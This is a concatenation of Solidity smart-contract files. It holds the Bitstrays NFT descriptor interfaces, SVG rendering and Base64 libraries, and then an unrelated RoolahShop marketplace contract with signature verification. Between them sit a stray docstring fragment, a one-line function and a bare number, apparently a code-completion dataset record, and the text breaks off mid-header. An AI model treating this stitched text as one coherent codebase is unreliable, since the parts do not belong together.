@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@ ************************ @@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ************************************************************/ pragma solidity ^0.8.6; import { IBitstraysSeeder } from './IBitstraysSeeder.sol'; interface IBitstraysDescriptor { event PartsLocked(); event DataURIToggled(bool enabled); event AttributesToggled(bool enabled); event BaseURIUpdated(string baseURI); function arePartsLocked() external returns (bool); function areAttributesEnabled() external returns (bool); function isDataURIEnabled() external returns (bool); function baseURI() external returns (string memory); function palettes(uint8 paletteIndex, uint256 colorIndex) external view returns (string memory); function metadata(uint8 index, uint256 traitIndex) external view returns (string memory); function traitNames(uint256 index) external view returns (string memory); function backgrounds(uint256 index) external view returns (string memory); function arms(uint256 index) external view returns (bytes memory); function shirts(uint256 index) external view returns (bytes memory); function motives(uint256 index) external view returns (bytes memory); function heads(uint256 index) external view returns (bytes memory); function eyes(uint256 index) external view returns (bytes memory); function mouths(uint256 index) external view returns (bytes memory); function backgroundCount() external view returns (uint256); function armsCount() external view returns (uint256); function shirtsCount() external view returns (uint256); function motivesCount() external view returns (uint256); function headCount() external view returns (uint256); function eyesCount() external view returns (uint256); function mouthsCount() external view returns (uint256); function addManyMetadata(string[] calldata _metadata) external; function addManyColorsToPalette(uint8 paletteIndex, string[] calldata newColors) external; function addManyBackgrounds(string[] calldata backgrounds) external; function addManyArms(bytes[] calldata _arms) external; function addManyShirts(bytes[] calldata _shirts) external; function addManyMotives(bytes[] calldata _motives) external; function addManyHeads(bytes[] calldata _heads) external; function addManyEyes(bytes[] calldata _eyes) external; function addManyMouths(bytes[] calldata _mouths) external; function addColorToPalette(uint8 paletteIndex, string calldata color) external; function addBackground(string calldata background) external; function addArms(bytes calldata body) external; function addShirt(bytes calldata shirt) external; function addMotive(bytes calldata motive) external; function addHead(bytes calldata head) external; function addEyes(bytes calldata eyes) external; function addMouth(bytes calldata mouth) external; function lockParts() external; function toggleDataURIEnabled() external; function toggleAttributesEnabled() external; function setBaseURI(string calldata baseURI) external; function tokenURI(uint256 tokenId, IBitstraysSeeder.Seed memory seed) external view returns (string memory); function dataURI(uint256 tokenId, IBitstraysSeeder.Seed memory seed) external view returns (string memory); function genericDataURI( string calldata name, string calldata description, IBitstraysSeeder.Seed memory seed ) external view returns (string memory); function generateSVGImage(IBitstraysSeeder.Seed memory seed) external view returns (string memory); } // SPDX-License-Identifier: GPL-3.0 /// @title Interface for BitstraysSeeder /*********************************************************** @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@[email protected]@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@%[email protected]@@@@@@@@@@@@ [email protected]@@@@@@.............................. ./@@@@@@@@@[email protected]@@....*@@@@.......*@@@@@@@@@. ./@@@@@@@[email protected]@@@@[email protected]@@[email protected]@@@@[email protected]@@@@. @%[email protected]@[email protected]@[email protected]@@[email protected] @%**.........,**.........................................**@ @@@@##.....##(**####### ......... ,####### .......###@@@ @@@@@@[email protected]@@@# @@ @@ ......... ,@@ @@@ [email protected]@@@@@ @@@@@@[email protected]@# @@@@@@@ ......... ,@@@@@@@ [email protected]@@@@@ @@@@@@[email protected]@@@@ @@%............ [email protected]@@@@@ @@@@@@@@@..../@@@@@@@@@[email protected]@@@@@@@ @@@@@@@@@............ [email protected]@@@@@@@ @@@@@@@@@@@.......... @@@@@@@@@@@@@@% .........*@@@@@@@@@@ @@@@@@@@@@@@@%.... @@//////////////#@@ [email protected]@@@@@@@@@@@@ @@@@@@@@@@@@@@@@ @@@///////////////////@@ @@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@ ************************ @@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ************************************************************/ pragma solidity ^0.8.6; import { IBitstraysDescriptor } from './IBitstraysDescriptor.sol'; interface IBitstraysSeeder { struct Seed { uint48 background; uint48 arms; uint48 shirt; uint48 motive; uint48 head; uint48 eyes; uint48 mouth; } function generateSeed(uint256 bitstrayId, IBitstraysDescriptor descriptor) external view returns (Seed memory); } // SPDX-License-Identifier: GPL-3.0 /// @title A library used to construct ERC721 token URIs and SVG images /*********************************************************** @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@[email protected]@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@%[email protected]@@@@@@@@@@@@ [email protected]@@@@@@.............................. ./@@@@@@@@@[email protected]@@....*@@@@.......*@@@@@@@@@. ./@@@@@@@[email protected]@@@@[email protected]@@[email protected]@@@@[email protected]@@@@. @%[email protected]@[email protected]@[email protected]@@[email protected] @%**.........,**.........................................**@ @@@@##.....##(**####### ......... ,####### .......###@@@ @@@@@@[email protected]@@@# @@ @@ ......... ,@@ @@@ [email protected]@@@@@ @@@@@@[email protected]@# @@@@@@@ ......... ,@@@@@@@ [email protected]@@@@@ @@@@@@[email protected]@@@@ @@%............ [email protected]@@@@@ @@@@@@@@@..../@@@@@@@@@[email protected]@@@@@@@ @@@@@@@@@............ [email protected]@@@@@@@ @@@@@@@@@@@.......... @@@@@@@@@@@@@@% .........*@@@@@@@@@@ @@@@@@@@@@@@@%.... @@//////////////#@@ [email protected]@@@@@@@@@@@@ @@@@@@@@@@@@@@@@ @@@///////////////////@@ @@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@ ************************ @@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ************************************************************/ pragma solidity ^0.8.6; import { Base64 } from 'base64-sol/base64.sol'; import { MultiPartRLEToSVG } from './MultiPartRLEToSVG.sol'; library NFTDescriptor { struct TokenURIParams { string name; string description; string[] attributes; bytes[] parts; string background; } /** * @notice Construct an ERC721 token attributes. */ function _generateAttributes(TokenURIParams memory params) internal pure returns (string memory attributes) { string memory _attributes = "["; if (params.attributes.length >0) { string [] memory att = params.attributes; for (uint256 i = 0; i < att.length && i + 1 < att.length; i += 2) { if (i == 0) { _attributes = string(abi.encodePacked(_attributes,'{"trait_type":"',att[i],'","value":"',att[i+1],'"}')); } else { _attributes = string(abi.encodePacked(_attributes, ',{"trait_type":"',att[i],'","value":"',att[i+1],'"}')); } } _attributes = string(abi.encodePacked(_attributes, "]")); return _attributes; } // empty array return string(abi.encodePacked(_attributes, "]")); } /** * @notice Construct an ERC721 token URI. */ function constructTokenURI(TokenURIParams memory params, mapping(uint8 => string[]) storage palettes) public view returns (string memory) { string memory image = generateSVGImage( MultiPartRLEToSVG.SVGParams({ parts: params.parts, background: params.background }), palettes ); string memory attributes = _generateAttributes(params); // prettier-ignore return string( abi.encodePacked( 'data:application/json;base64,', Base64.encode( bytes( abi.encodePacked( '{"name":"', params.name, '","description":"', params.description, '","attributes":',attributes,',"image": "', 'data:image/svg+xml;base64,', image, '"}') ) ) ) ); } /** * @notice Generate an SVG image for use in the ERC721 token URI. */ function generateSVGImage(MultiPartRLEToSVG.SVGParams memory params, mapping(uint8 => string[]) storage palettes) public view returns (string memory svg) { return Base64.encode(bytes(MultiPartRLEToSVG.generateSVG(params, palettes))); } } // SPDX-License-Identifier: GPL-3.0 /// @title A library used to convert multi-part RLE compressed images to SVG /*********************************************************** @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@[email protected]@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@%[email protected]@@@@@@@@@@@@ [email protected]@@@@@@.............................. ./@@@@@@@@@[email protected]@@....*@@@@.......*@@@@@@@@@. ./@@@@@@@[email protected]@@@@[email protected]@@[email protected]@@@@[email protected]@@@@. @%[email protected]@[email protected]@[email protected]@@[email protected] @%**.........,**.........................................**@ @@@@##.....##(**####### ......... ,####### .......###@@@ @@@@@@[email protected]@@@# @@ @@ ......... ,@@ @@@ [email protected]@@@@@ @@@@@@[email protected]@# @@@@@@@ ......... ,@@@@@@@ [email protected]@@@@@ @@@@@@[email protected]@@@@ @@%............ [email protected]@@@@@ @@@@@@@@@..../@@@@@@@@@[email protected]@@@@@@@ @@@@@@@@@............ [email protected]@@@@@@@ @@@@@@@@@@@.......... @@@@@@@@@@@@@@% .........*@@@@@@@@@@ @@@@@@@@@@@@@%.... @@//////////////#@@ [email protected]@@@@@@@@@@@@ @@@@@@@@@@@@@@@@ @@@///////////////////@@ @@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@ ************************ @@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ************************************************************/ pragma solidity ^0.8.6; library MultiPartRLEToSVG { struct SVGParams { bytes[] parts; string background; } struct ContentBounds { uint8 top; uint8 right; uint8 bottom; uint8 left; } struct Rect { uint8 length; uint8 colorIndex; } struct DecodedImage { uint8 paletteIndex; ContentBounds bounds; Rect[] rects; } /** * @notice Given RLE image parts and color palettes, merge to generate a single SVG image. */ function generateSVG(SVGParams memory params, mapping(uint8 => string[]) storage palettes) internal view returns (string memory svg) { // prettier-ignore return string( abi.encodePacked( '<svg width="320" height="320" viewBox="0 0 320 320" xmlns="http://www.w3.org/2000/svg" shape-rendering="crispEdges">', '<rect width="100%" height="100%" fill="#', params.background, '" />', _generateSVGRects(params, palettes), '</svg>' ) ); } /** * @notice Given RLE image parts and color palettes, generate SVG rects. */ // prettier-ignore function _generateSVGRects(SVGParams memory params, mapping(uint8 => string[]) storage palettes) private view returns (string memory svg) { string[33] memory lookup = [ '0', '10', '20', '30', '40', '50', '60', '70', '80', '90', '100', '110', '120', '130', '140', '150', '160', '170', '180', '190', '200', '210', '220', '230', '240', '250', '260', '270', '280', '290', '300', '310', '320' ]; string memory rects; for (uint8 p = 0; p < params.parts.length; p++) { DecodedImage memory image = _decodeRLEImage(params.parts[p]); string[] storage palette = palettes[image.paletteIndex]; uint256 currentX = image.bounds.left; uint256 currentY = image.bounds.top; uint256 cursor; string[16] memory buffer; string memory part; for (uint256 i = 0; i < image.rects.length; i++) { Rect memory rect = image.rects[i]; if (rect.colorIndex != 0) { buffer[cursor] = lookup[rect.length]; // width buffer[cursor + 1] = lookup[currentX]; // x buffer[cursor + 2] = lookup[currentY]; // y buffer[cursor + 3] = palette[rect.colorIndex]; // color cursor += 4; if (cursor >= 16) { part = string(abi.encodePacked(part, _getChunk(cursor, buffer))); cursor = 0; } } currentX += rect.length; if (currentX == image.bounds.right) { currentX = image.bounds.left; currentY++; } } if (cursor != 0) { part = string(abi.encodePacked(part, _getChunk(cursor, buffer))); } rects = string(abi.encodePacked(rects, part)); } return rects; } /** * @notice Return a string that consists of all rects in the provided `buffer`. */ // prettier-ignore function _getChunk(uint256 cursor, string[16] memory buffer) private pure returns (string memory) { string memory chunk; for (uint256 i = 0; i < cursor; i += 4) { chunk = string( abi.encodePacked( chunk, '<rect width="', buffer[i], '" height="10" x="', buffer[i + 1], '" y="', buffer[i + 2], '" fill="#', buffer[i + 3], '" />' ) ); } return chunk; } /** * @notice Decode a single RLE compressed image into a `DecodedImage`. */ function _decodeRLEImage(bytes memory image) private pure returns (DecodedImage memory) { uint8 paletteIndex = uint8(image[0]); ContentBounds memory bounds = ContentBounds({ top: uint8(image[1]), right: uint8(image[2]), bottom: uint8(image[3]), left: uint8(image[4]) }); uint256 cursor; Rect[] memory rects = new Rect[]((image.length - 5) / 2); for (uint256 i = 5; i < image.length; i += 2) { rects[cursor] = Rect({ length: uint8(image[i]), colorIndex: uint8(image[i + 1]) }); cursor++; } return DecodedImage({ paletteIndex: paletteIndex, bounds: bounds, rects: rects }); } } // SPDX-License-Identifier: GPL-3.0 /// @title A library used to convert string to int /*********************************************************** @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@[email protected]@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@%[email protected]@@@@@@@@@@@@ [email protected]@@@@@@.............................. ./@@@@@@@@@[email protected]@@....*@@@@.......*@@@@@@@@@. ./@@@@@@@[email protected]@@@@[email protected]@@[email protected]@@@@[email protected]@@@@. @%[email protected]@[email protected]@[email protected]@@[email protected] @%**.........,**.........................................**@ @@@@##.....##(**####### ......... ,####### .......###@@@ @@@@@@[email protected]@@@# @@ @@ ......... ,@@ @@@ [email protected]@@@@@ @@@@@@[email protected]@# @@@@@@@ ......... ,@@@@@@@ [email protected]@@@@@ @@@@@@[email protected]@@@@ @@%............ [email protected]@@@@@ @@@@@@@@@..../@@@@@@@@@[email protected]@@@@@@@ @@@@@@@@@............ [email protected]@@@@@@@ @@@@@@@@@@@.......... @@@@@@@@@@@@@@% .........*@@@@@@@@@@ @@@@@@@@@@@@@%.... @@//////////////#@@ [email protected]@@@@@@@@@@@@ @@@@@@@@@@@@@@@@ @@@///////////////////@@ @@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@ ************************ @@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ************************************************************/ pragma solidity ^0.8.6; library StringUtil { function parseInt(string memory _a) internal pure returns (uint _parsedInt) { return parseInt(_a, 0); } /** * @notice parse string to uint */ function parseInt(string memory _a, uint _b) internal pure returns (uint _parsedInt) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i = 0; i < bresult.length; i++) { if ((uint(uint8(bresult[i])) >= 48) && (uint(uint8(bresult[i])) <= 57)) { if (decimals) { if (_b == 0) { break; } else { _b--; } } mint *= 10; mint += uint(uint8(bresult[i])) - 48; } else if (uint(uint8(bresult[i])) == 46) { decimals = true; } } if (_b > 0) { mint *= 10 ** _b; } return mint; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT /// @title Base64 /// @author Brecht Devos - <[email protected]> /// @notice Provides a function for encoding some bytes in base64 library Base64 { string internal constant TABLE = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'; function encode(bytes memory data) internal pure returns (string memory) { if (data.length == 0) return ''; // load the table into memory string memory table = TABLE; // multiply by 4/3 rounded up uint256 encodedLen = 4 * ((data.length + 2) / 3); // add some extra buffer at the end required for the writing string memory result = new string(encodedLen + 32); assembly { // set the actual output length mstore(result, encodedLen) // prepare the lookup table let tablePtr := add(table, 1) // input ptr let dataPtr := data let endPtr := add(dataPtr, mload(data)) // result ptr, jump over length let resultPtr := add(result, 32) // run over the input, 3 bytes at a time for {} lt(dataPtr, endPtr) {} { dataPtr := add(dataPtr, 3) // read 3 bytes let input := mload(dataPtr) // write 4 characters mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(18, input), 0x3F))))) resultPtr := add(resultPtr, 1) mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(12, input), 0x3F))))) resultPtr := add(resultPtr, 1) mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr( 6, input), 0x3F))))) resultPtr := add(resultPtr, 1) mstore(resultPtr, shl(248, mload(add(tablePtr, and( input, 0x3F))))) resultPtr := add(resultPtr, 1) } // padding with '=' switch mod(mload(data), 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } } return result; } }
Add a Bitstray arm./
function _addArms(bytes calldata _arms) internal { arms.push(_arms); }
11,850,194
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts/interfaces/IERC20.sol"; import "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Holder.sol"; import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol"; import "./utils/SignatureVerifier.sol"; import "./interfaces/IBurnableERC721.sol"; contract RoolahShopUpgradableV2 is SignatureVerifier, ERC721Holder, ERC1155Holder, Initializable, OwnableUpgradeable { // -------------------------------- EVENTS V1 -------------------------------------- event TransactionPosted( bytes32 indexed listingId, bytes32 indexed transactionId, address indexed user, uint256 quantity ); // deprecated token received/sent events from V1 // -------------------------------- STORAGE V1 ------------------------------------- /** * The ROOLAH contract address. */ IERC20 public roolahContract; /** * The RooTroop NFT contract address. */ IBurnableERC721 public rooTroopContract; /** * The recipient of all ETH sent to the contract. */ address public etherRecipient; /** * The ROOLAH gained by burning one RooTroop NFT (RIP). */ uint256 public rooToRoolahConversion; /** * The backend message signer's address. */ address public messageSigner; /** A mapping of GUID listing ids to number of units sold. */ mapping(bytes32 => uint256) public unitsSold; /** * A nested mapping of listing ids to user addresses to * the number that the user has purchased. */ mapping(bytes32 => mapping(address => uint256)) public userPurchases; // -------------------------------- INITIALIZER V1 --------------------------------- /** * Initializes the proxy contract. * * @param rooTroopNFT - the address of the RooTroop NFT contract. * @param roolah - the address of the ROOLAH contract. * @param rooToRoolahRate - the conversion rate in ROOLAH for burning one RooTroop NFT. * @param etherReceiver - the recipient of all ETH sent to the contract. */ function initialize( address rooTroopNFT, address roolah, uint256 rooToRoolahRate, address etherReceiver, address signer ) public initializer { __Ownable_init(); _updateDependencies(rooTroopNFT, roolah); _setRooToRoolahConversionRate(rooToRoolahRate); _setEtherReceiver(etherReceiver); _setMessageSigner(signer); } // -------------------------------- PUBLIC ACCESS V1 ------------------------------- /** * Submits a transaction to the contract to be logged on the blockchain. * * @param listingId - the GUID listingId provided by the backend. * @param transactionId - the id of the transaction. * This will allow centralized services to tie the transaction to personal details. * @param quantity - the number of units to transact upon. * @param maxPerUser - the listing max per user. * @param supply - the listing maximum supply. * @param priceETH - the listing unit price in ETH. * @param priceROOLAH - the listing unit price in ROOLAH. * @param requiredTokens - the listing's required held tokens to allow transacting. * @param signature - the signature that will verify all of the listing data. */ function transact( bytes32 listingId, bytes32 transactionId, uint256 quantity, uint256 maxPerUser, uint256 supply, uint256 priceETH, uint256 priceROOLAH, uint256 expires, address[] calldata requiredTokens, bytes memory signature ) external payable { require(expires > block.timestamp, "Signature expired"); require( supply == 0 || supply >= unitsSold[listingId] + quantity, "Exceeds global max" ); require( maxPerUser == 0 || maxPerUser >= userPurchases[listingId][msg.sender] + quantity, "Exceeds user max" ); require( _verifySignature( listingId, transactionId, maxPerUser, supply, priceETH, priceROOLAH, expires, requiredTokens, signature ), "Invalid signature" ); require( requiredTokens.length == 0 || _holdsToken(msg.sender, requiredTokens), "Not a holder" ); if (priceETH > 0) { require(msg.value == priceETH * quantity, "Bad value"); (bool success, ) = etherRecipient.call{value: priceETH * quantity}( "" ); require(success, "ETH tx failed"); } userPurchases[listingId][msg.sender] += quantity; unitsSold[listingId] += quantity; if (priceROOLAH > 0) roolahContract.transferFrom( msg.sender, address(this), priceROOLAH * quantity ); emit TransactionPosted(listingId, transactionId, msg.sender, quantity); } /** * Burns the token ids passed to the function, * provided the contract is approved to access them. * Then, the user is returned the conversion in ROOLAH. * * @param tokenIds - the token ids to pull in and burn */ function burnRoos(uint256[] calldata tokenIds) external { for (uint256 i; i < tokenIds.length; i++) { rooTroopContract.transferFrom( msg.sender, address(this), tokenIds[i] ); // RIP, sweet prince rooTroopContract.burn(tokenIds[i]); } roolahContract.transfer( msg.sender, tokenIds.length * rooToRoolahConversion ); } /** * Submits a transaction to the contract to be logged on the blockchain and results in the transfer of an NFT. * * @param listingId - the GUID listingId provided by the backend. * @param transactionId - the id of the transaction. * This will allow centralized services to tie the transaction to personal details. * @param tokenAddresses - the addresses of the token contracts. * @param tokenIds - the token ids to send (parallel with tokenAddresses). * @param priceETH - the listing unit price in ETH. * @param priceROOLAH - the listing unit price in ROOLAH. * @param requiredTokens - the listing's required held tokens to allow transacting. * @param signature - the signature that will verify all of the listing data. */ function transactNFT( bytes32 listingId, bytes32 transactionId, address[] calldata tokenAddresses, uint256[] calldata tokenIds, uint256 priceETH, uint256 priceROOLAH, uint256 expires, address[] memory requiredTokens, bytes memory signature ) external payable { require(expires > block.timestamp, "Signature expired"); require(tokenIds.length == tokenAddresses.length, "Length mismatch"); require( _verifySignatureNFT( listingId, transactionId, priceETH, priceROOLAH, expires, requiredTokens, tokenAddresses, tokenIds, signature ), "Invalid signature" ); require( requiredTokens.length == 0 || _holdsToken(msg.sender, requiredTokens), "Not a holder" ); if (priceETH > 0) { require(msg.value == priceETH, "Bad value"); (bool success, ) = etherRecipient.call{value: priceETH}(""); require(success, "ETH tx failed"); } userPurchases[listingId][msg.sender] += 1; unitsSold[listingId] += 1; if (priceROOLAH > 0) roolahContract.transferFrom(msg.sender, address(this), priceROOLAH); for (uint256 i; i < tokenIds.length; i++) { IERC721(tokenAddresses[i]).safeTransferFrom( address(this), msg.sender, tokenIds[i] ); } emit TransactionPosted(listingId, transactionId, msg.sender, 1); } // -------------------------------- OWNER ONLY V1 ---------------------------------- /** * Updates pointers to the ROOLAH contract and RooTroop NFT contract. * @dev owner only. * * @param rooTroopNFT - the address of the RooTroop NFT contract. * @param roolah - the address of the ROOLAH contract. */ function updateDependencies(address rooTroopNFT, address roolah) public onlyOwner { _updateDependencies(rooTroopNFT, roolah); } /** * Updates the conversion rate when burning a RooTroop NFT for ROOLAH. * @dev owner only. * * @param rate - the value in ROOLAH received for burning one RooTroop NFT. */ function setRooToRoolahConversionRate(uint256 rate) public onlyOwner { _setRooToRoolahConversionRate(rate); } /** * Updates the message signer. * @dev owner only. * * @param signer - the new backend message signer. */ function setMessageSigner(address signer) public onlyOwner { _setMessageSigner(signer); } /** * Updates the address that receives ETH transferred into the contract. * @dev owner only. * * @param receiver - the new receiver address. */ function setEtherReceiver(address receiver) public onlyOwner { _setEtherReceiver(receiver); } /** * Removes the given amount of ROOLAH from the contract. * @dev owner only. * * @param to - the address to send the ROOLAH to. * @param amount - the amount of ROOLAH to send. */ function withdrawRoolah(address to, uint256 amount) public onlyOwner { roolahContract.transfer(to, amount); } /** * Retrieves an NFT from the contract vault * * @param token - the token address * @param tokenId - the token id */ function retrieveNFT( address token, uint256 tokenId, address to ) public onlyOwner { IERC721(token).transferFrom(address(this), to, tokenId); } // --------------------------------- INTERNAL V1 ------------------------------------ function _updateDependencies(address rooTroopNFT, address roolah) internal { roolahContract = IERC20(roolah); rooTroopContract = IBurnableERC721(rooTroopNFT); } function _setRooToRoolahConversionRate(uint256 rate) internal { rooToRoolahConversion = rate; } function _setMessageSigner(address signer) internal { messageSigner = signer; } function _setEtherReceiver(address receiver) internal { etherRecipient = receiver; } function _holdsToken(address user, address[] memory tokens) internal view returns (bool) { for (uint256 i; i < tokens.length; i++) { if (IERC20(tokens[i]).balanceOf(user) > 0) return true; } return false; } function _verifySignature( bytes32 listingId, bytes32 transactionId, uint256 maxPerUser, uint256 supply, uint256 priceETH, uint256 priceROOLAH, uint256 expires, address[] calldata requiredTokens, bytes memory signature ) internal view returns (bool) { bytes memory packed = abi.encodePacked( listingId, transactionId, maxPerUser, supply, priceETH, priceROOLAH, expires ); for (uint256 i; i < requiredTokens.length; i++) { packed = abi.encodePacked(packed, requiredTokens[i]); } bytes32 messageHash = keccak256(packed); return verify(messageSigner, messageHash, signature); } function _verifySignatureNFT( bytes32 listingId, bytes32 transactionId, uint256 priceETH, uint256 priceROOLAH, uint256 expires, address[] memory requiredTokens, address[] calldata tokenAddresses, uint256[] calldata tokenIds, bytes memory signature ) internal view returns (bool) { bytes memory packed = abi.encodePacked( listingId, transactionId, priceETH, priceROOLAH, expires ); uint256 i; for (i; i < tokenIds.length; i++) { packed = abi.encodePacked(packed, tokenAddresses[i], tokenIds[i]); } for (i = 0; i < requiredTokens.length; i++) { packed = abi.encodePacked(packed, requiredTokens[i]); } bytes32 messageHash = keccak256(packed); return verify(messageSigner, messageHash, signature); } // ------------------------------- OWNER ONLY V2 ---------------------------------------- /** * Forwards a call to a specified contract address, targeting the given function * with the provided abi encoded parameters. * * This will allow the market to mint directly from projects, etc. (essentially, allows the contract to behave like a wallet) * * @param contractAt - the address of the target contract * @param encodedCall - the ABI encoded function call (use web3.eth.abi.encodeFunctionCall) */ function externalCall(address contractAt, bytes calldata encodedCall) external payable onlyOwner returns (bytes memory) { (bool success, bytes memory data) = contractAt.call{ value: msg.value, gas: gasleft() }(encodedCall); if (success == false) { assembly { let ptr := mload(0x40) let size := returndatasize() returndatacopy(ptr, 0, size) revert(ptr, size) } } return data; } /** * Pulls in a bunch of ERC721 tokens that the contract has * been approved to access. Feeds from multiple source contracts. * * @param from - the current holder * @param tokens - the token contract addresses * @param tokenIds - the token ids (parallel to addresses) */ function importBulkERC721MultiAddress( address from, address[] calldata tokens, uint256[] calldata tokenIds ) external onlyOwner { require(tokens.length == tokenIds.length, "length mismatch"); for (uint256 i; i < tokens.length; i++) { IERC721(tokens[i]).transferFrom(from, address(this), tokenIds[i]); } } /** * Pulls in a bunch of ERC721 tokens that the contract has * been approved to access. Feeds from ONE source contract. * * @param from - the current holder * @param token - the token contract address * @param tokenIds - the token ids (parallel to addresses) */ function importBulkERC721( address from, address token, uint256[] calldata tokenIds ) external onlyOwner { IERC721 source = IERC721(token); for (uint256 i; i < tokenIds.length; i++) { source.transferFrom(from, address(this), tokenIds[i]); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; /* Signature Verification How to Sign and Verify # Signing 1. Create message to sign 2. Hash the message 3. Sign the hash (off chain, keep your private key secret) # Verify 1. Recreate hash from the original message 2. Recover signer from signature and hash 3. Compare recovered signer to claimed signer */ contract SignatureVerifier { function getEthSignedMessageHash(bytes32 _messageHash) public pure returns (bytes32) { /* Signature is produced by signing a keccak256 hash with the following format: "\x19Ethereum Signed Message\n" + len(msg) + msg */ return keccak256( abi.encodePacked("\x19Ethereum Signed Message:\n32", _messageHash) ); } /* signer = 0xB273216C05A8c0D4F0a4Dd0d7Bae1D2EfFE636dd to = 0x14723A09ACff6D2A60DcdF7aA4AFf308FDDC160C amount = 123 message = "coffee and donuts" nonce = 1 signature = 0x993dab3dd91f5c6dc28e17439be475478f5635c92a56e17e82349d3fb2f166196f466c0b4e0c146f285204f0dcb13e5ae67bc33f4b888ec32dfe0a063e8f3f781b */ function verify( address signer, bytes32 messageHash, bytes memory signature ) public pure returns (bool) { bytes32 ethSignedMessageHash = getEthSignedMessageHash(messageHash); return recoverSigner(ethSignedMessageHash, signature) == signer; } function recoverSigner(bytes32 _ethSignedMessageHash, bytes memory _signature) public pure returns (address) { (bytes32 r, bytes32 s, uint8 v) = splitSignature(_signature); return ecrecover(_ethSignedMessageHash, v, r, s); } function splitSignature(bytes memory sig) public pure returns ( bytes32 r, bytes32 s, uint8 v ) { require(sig.length == 65, "invalid signature length"); assembly { /* First 32 bytes stores the length of the signature add(sig, 32) = pointer of sig + 32 effectively, skips first 32 bytes of signature mload(p) loads next 32 bytes starting at the memory address p into memory */ // first 32 bytes, after the length prefix r := mload(add(sig, 32)) // second 32 bytes s := mload(add(sig, 64)) // final byte (first byte of the next 32 bytes) v := byte(0, mload(add(sig, 96))) } // implicitly return (r, s, v) } } pragma solidity ^0.8.7; // SPDX-License-Identifier: MIT import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; interface IBurnableERC721 is IERC721 { function burn(uint256 tokenId) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 